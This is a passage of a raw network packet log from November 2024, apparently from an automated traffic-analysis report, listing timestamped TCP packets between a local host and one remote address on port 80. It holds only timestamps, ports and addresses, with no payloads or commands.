                                                                                                                                                              Nov 20, 2024 11:21:45.535964012 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.535979033 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.535988092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536036015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536045074 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536174059 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536184072 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536186934 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536196947 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536215067 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536223888 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536263943 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.536263943 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.536263943 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.536294937 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.536300898 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536313057 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536362886 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536371946 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536418915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536427975 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536514044 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536520004 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.536520004 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.536523104 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536542892 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536550045 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.536550045 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.536552906 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536628008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536637068 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.536679029 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.536679029 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.537606955 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.537812948 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.538100004 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538191080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538202047 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538233995 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538243055 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538290977 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538299084 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538366079 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538374901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538405895 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538408995 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.538521051 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538530111 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538533926 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.538940907 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539016962 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539041042 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539046049 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.539046049 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.539081097 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.539096117 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539107084 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539145947 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539155006 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539203882 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539212942 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539252043 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.539252043 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.539278030 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539376020 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.539693117 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539702892 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539733887 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539742947 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539793015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539889097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539897919 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539906979 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539916992 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.539918900 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.539916992 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.539942026 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.540023088 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.540031910 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.540049076 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.540075064 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.540076017 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.540083885 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.540095091 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.540132999 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.540143013 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.540163040 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.540170908 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.540302038 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.540302038 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.540534019 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.582544088 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.582709074 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.582787991 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.582844973 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.610449076 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.610584021 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.610683918 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.610753059 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.610793114 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.617580891 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.619080067 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.662559986 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.662733078 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.662842989 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.662883997 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.689306021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.689456940 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.689548969 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.689587116 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.697557926 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.698724031 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.745085001 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.745251894 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.745338917 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.745393038 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.761761904 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.761929989 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.762028933 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.762077093 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.769192934 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769203901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769213915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769222021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769231081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769239902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769249916 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769258976 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769269943 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769280910 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769290924 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769299030 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769306898 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769309044 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.769315004 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769335032 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769344091 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769352913 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.769398928 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.816010952 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.816167116 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.816297054 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.816339970 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.828383923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.828502893 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.828623056 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.828663111 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.840900898 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.840915918 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.840924978 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.840936899 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841023922 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841023922 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841057062 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841068029 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841078043 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841089010 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841098070 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841106892 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841145039 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841156006 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841164112 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841171980 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841175079 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841175079 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841182947 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841192007 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841201067 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841209888 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841219902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841234922 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841269016 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841269016 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841367960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841379881 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841387987 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841398001 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841407061 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841415882 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841424942 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841435909 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841443062 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841443062 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841445923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841459036 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841468096 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841476917 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841511011 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841573000 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841594934 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841619015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841628075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841635942 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841828108 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841836929 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841844082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841852903 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841861010 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841870070 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841877937 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841890097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841897964 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841907024 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841912031 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841912985 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841917038 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841927052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841938019 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841938019 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.841958046 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841967106 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841976881 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841988087 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.841996908 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.842001915 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.842001915 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.842006922 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.842016935 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.842025995 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.842036963 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.842046022 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.842055082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.842092991 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.842217922 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.842228889 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.842324972 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.879836082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.880048990 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.880156040 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.880208015 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.886425018 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886435986 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886445045 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886449099 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886452913 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886456966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886465073 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886468887 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886472940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886478901 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.886596918 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.886636972 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886657953 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886668921 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886677980 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886682034 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886704922 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.886735916 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.886820078 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886831045 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886842012 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886851072 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886859894 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886859894 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.886863947 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886904955 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.886939049 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.886981010 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.886991978 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887001038 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887005091 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887015104 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887025118 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887033939 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887042999 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887058020 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887079000 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887095928 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887099981 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887111902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887121916 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887130976 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887140036 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887149096 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887151957 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887162924 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887170076 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887172937 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887186050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887196064 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887207031 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887216091 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887216091 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887216091 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887221098 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887228966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887232065 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887236118 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887238979 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887290001 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887290955 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887290955 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887290955 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887300968 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887310982 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887331009 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887336016 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887341022 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887362003 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887428999 CET8049799150.241.91.218192.168.2.8
